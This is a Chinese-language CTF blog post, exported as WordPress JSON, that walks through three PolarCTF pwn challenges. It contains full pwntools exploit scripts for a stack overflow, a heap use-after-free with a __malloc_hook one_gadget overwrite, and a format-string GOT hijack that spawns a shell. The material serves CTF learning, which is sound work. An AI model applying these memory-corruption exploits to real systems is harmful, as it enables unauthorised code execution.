{"id":195,"date":"2025-10-04T22:04:42","date_gmt":"2025-10-04T14:04:42","guid":{"rendered":"http:\/\/38.175.194.203\/?p=195"},"modified":"2025-12-16T21:16:38","modified_gmt":"2025-12-16T13:16:38","slug":"polarctf-pwn%e4%b8%ad%e7%ad%89","status":"publish","type":"post","link":"http:\/\/38.175.194.203\/index.php\/2025\/10\/04\/polarctf-pwn%e4%b8%ad%e7%ad%89\/","title":{"rendered":"Polarctf-pwn(\u4e2d\u7b49)"},"content":{"rendered":"\n

what\u2019s your name<\/h1>\n

\"image-20250821120100969\"<\/p>\n

\u4e00\u9053\u6bd4\u8f83\u7b80\u5355\u7684\u9898\uff0c\u4ee3\u7801\u5f88\u7b80\u5355\uff0c\u53ea\u8981\u6ee1\u8db3\u6761\u4ef6\u5c31\u80fd\u83b7\u5f97flag\uff0c\u91cd\u70b9\u5173\u6ce8strcmp\uff0c\u8981\u8ba9if\u6761\u4ef6\u6210\u7acb\u5219\u9700\u8ba9c\u4e2d\u7684\u5185\u5bb9\u4e3atznb<\/p>\n

\"image-20250821120315402\"<\/p>\n

\u53ef\u4ee5\u770b\u5230\uff0cb\u4e0ec\u6328\u5f97\u5f88\u8fd1\u4e14read\u51fd\u6570\u5141\u8bb8\u8f93\u5165\u7684\u957f\u5ea6\u53ef\u4ee5\u8986\u76d6\u5230c\uff0c\u90a3\u4e48\u5c31\u80fd\u5c06c\u6539\u6210\u9898\u76ee\u6240\u9700\u7684\u6761\u4ef6<\/p>\n

exp<\/p>\n

from pwn import*\ncontext(arch='i386',os='linux',log_level='debug')\n\np=remote('1.95.36.136',2095)\n#p=process('.\/pwn2')\npayload=b'a'*4+b'tznb'\np.send(payload)\n\np.interactive()\n<\/code><\/pre>\n
\u4f46\u662f\u8fd9\u91cc\u6709\u4e2a\u6ce8\u610f\u7684\u70b9\u662f\u53d1\u9001payload\u65f6\u8981\u7528send\u800c\u4e0d\u662fsendline\uff0c\u8fd9\u6837\u624d\u80fd\u53bb\u9664\u2019\\n\u2019\u7684\u5e72\u6270<\/p>\n
\"image-20250821120705164\"<\/p>\n
\u5df4\u5566\u5566\u4eae\u5417<\/h1>\n
\u4e00\u9053\u83dc\u5355\u9898\uff0c\u903b\u8f91\u5f88\u7b80\u5355\uff0c\u8fd9\u91cc\u6211\u4eec\u91cd\u70b9\u5173\u6ce8delete\u51fd\u6570\u548cedit\u51fd\u6570<\/p>\n
\"image-20251216205648323\"<\/p>\n
\u5f88\u663e\u7136delete\u51fd\u6570\u91ca\u653e\u540e\u6307\u9488\u6ca1\u6709\u6e05\u96f6\uff0c\u53ef\u4ee5\u6784\u6210\u4e8c\u6b21\u5229\u7528<\/p>\n
\"image-20251216205821687\"<\/p>\n
edit\u51fd\u6570\u624d\u662f\u91cd\u4e2d\u4e4b\u91cd\uff0c\u51fd\u6570\u91cc\u53ef\u4ee5\u8ba9\u6211\u4eec\u91cd\u65b0\u8f93\u5165\u6570\u636e\u7684\u5927\u5c0f\uff0c\u636e\u6b64\u53ef\u4ee5\u6539\u6210\u66f4\u5927\u7684chunk\u8986\u76d6\u4e0b\u4e00\u4e2achunk\uff0c\u5982\u679c\u4e0b\u4e00\u4e2achunk\u662ffree\u72b6\u6001\uff0c\u90a3\u4e48\u5c31\u80fd\u7be1\u6539\u5176fd\u6307\u9488\u4e3a__malloc_hook\u5e76\u6539\u53d8\u5176\u4e2d\u5185\u5bb9\uff0c\u5b9e\u73b0one_gadget\u52ab\u6301<\/p>\n
\u6b64\u5916\u8fd9\u9053\u9898\u5f15\u5165\u4e86tcachebin\uff0c\u4f46\u5b9e\u9645\u7684\u505a\u6cd5\u548cfastbin\u5dee\u4e0d\u591a\uff0c\u9996\u5148\u5c31\u662f\u7533\u8bf7\u4e00\u4e2a\u5927\u4e8etcachebin\u6700\u5927\u5927\u5c0f\u7684chunk\uff0c\u4f7f\u5176free\u540e\u80fd\u8fdb\u5165Unsortedbin\uff0c\u4ece\u800c\u6cc4\u9732libc\uff0c\u5f97\u5230onegadget\uff0c\u5e76\u5c06onegadget\u5199\u5165___malloc_hook<\/p>\n
exp<\/p>\n
from pwn import*\nfrom LibcSearcher import*\ncontext(arch='amd64',os='linux',log_level='debug')\n \np=remote('1.95.36.136',2077)\n#p = process(['.\/ld-linux-x86-64.so.2', '--library-path', '.', '.\/pwn1'])\nelf=ELF('.\/pwn1')\nlibc=ELF('.\/libc.so.6')\n \ndef debug():\n  gdb.attach(p)\n  pause()\n \ndef add(index,size):\n  p.recvuntil(b'choice:')\n  p.sendline(b'1')\n  p.recvuntil(b'index:')\n  p.sendline(str(index))\n  p.recvuntil(b'size:')\n  p.sendline(str(size))\n  \ndef delete(index):\n  p.recvuntil(b'choice:')\n  p.sendline(b'2')\n  p.recvuntil(b'index:')\n  p.sendline(str(index))\n  \ndef edit(index,length,content):\n  p.recvuntil(b'choice:')\n  p.sendline(b'3')\n  p.recvuntil(b'index:')\n  p.sendline(str(index))\n  p.recvuntil(b'length:')\n  p.sendline(str(length))\n  p.recvuntil(b'content:')\n  p.sendline(content)\n  \ndef show(index):\n  p.recvuntil(b'choice:')\n  p.sendline(b'4')\n  p.recvuntil(b'index:')\n  p.sendline(str(index))\n\n\nadd(0,0x410)\nadd(1,0x60)\nadd(2,0x60)\ndelete(0)\nadd(0,0x410)\n\nshow(0)\n\nlibc_addr=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\ninfo('libc_addr>'+hex(libc_addr))\n\npadding=0x3afca0\nlibc_base=libc_addr-padding\ninfo('libc_base>'+hex(libc_base))\ndelete(2)\n#debug()\nedit(1,0x60+0x10+0x8,b'\\x00'*(0x68)+p64(71)+p64(libc.sym['__malloc_hook']+libc_base-0x23))\n#debug()\nadd(0,0x60)\nadd(1,0x60)\none_gadget=[0x41612,0x41666,0xdeed2]\none_gadget=one_gadget[2]+libc_base\n#debug()\nedit(1,0x20+0x3+0x8,b'a'*0x23+p64(one_gadget))\n\nadd(0,b'aaa')\n \np.interactive()\n<\/code><\/pre>\n
fmt_text<\/h1>\n
\u4e00\u9053\u7b80\u5355\u7684got\u52ab\u6301\u9898<\/p>\n
\"image-20250909173447440\"<\/p>\n
\u9996\u5148\u786e\u5b9a\u6211\u4eec\u8f93\u5165\u7684\u5185\u5bb9\u4f4d\u4e8e\u6808\u4e2d\u7684\u54ea\u4e2a\u4f4d\u7f6e\uff0c\u76f4\u63a5\u6267\u884c\u8f93\u5165aaaa %p %p \u2026\u53d1\u73b0\u662f\u7b2c6\u4e2a<\/p>\n
\u7a0b\u5e8f\u7ed9\u4e86system\u90a3\u4e48\u5f88\u660e\u663e\u5c31\u662f\u8981\u6211\u4eec\u8f93\u5165\/bin\/sh\u7136\u540e\u6267\u884c\uff0c\u7b2c\u4e00\u6b21\u8bfb\u5165\u76f4\u63a5\u5229\u7528fmtstr_payload\u8fd9\u4e2a\u51fd\u6570\u52ab\u6301printf_got\u4e3asystem_plt(\u8fd9\u4e2a\u65b9\u6cd5\u9650\u4e8e32\u4f4d\uff0c64\u4f4d\u7531\u4e8e\u5b57\u8282\u8f83\u591a\u9700\u8981\u624b\u52a8\u6539)<\/p>\n
\u7b2c\u4e8c\u6b21\u8f93\u5165\/bin\/sh\u4f20\u53c2\u76f8\u5f53\u4e8e\u6267\u884csystem<\/p>\n
exp<\/p>\n
from pwn import*\n\ncontext(arch='i386',os='linux',log_level='debug')\np=remote('1.95.36.136',2066)\nelf=ELF('.\/pwn')\nprintf_got=elf.got['printf']\nsystem_plt=elf.plt['system']\n\npayload=fmtstr_payload(6,{printf_got:system_plt})\np.sendline(payload)\n\np.sendline(b'\/bin\/sh')\np.interactive()\n<\/code><\/pre>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[6,4],"class_list":["post-195","post","type-post","status-publish","format-standard","hentry","category-learning","tag-ctf","tag-pwn"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/posts\/195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/comments?post=195"}],"version-history":[{"count":10,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/posts\/195\/revisions"}],"predecessor-version":[{"id":264,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/posts\/195\/revisions\/264"}],"wp:attachment":[{"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/media?parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/categories?post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/tags?post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}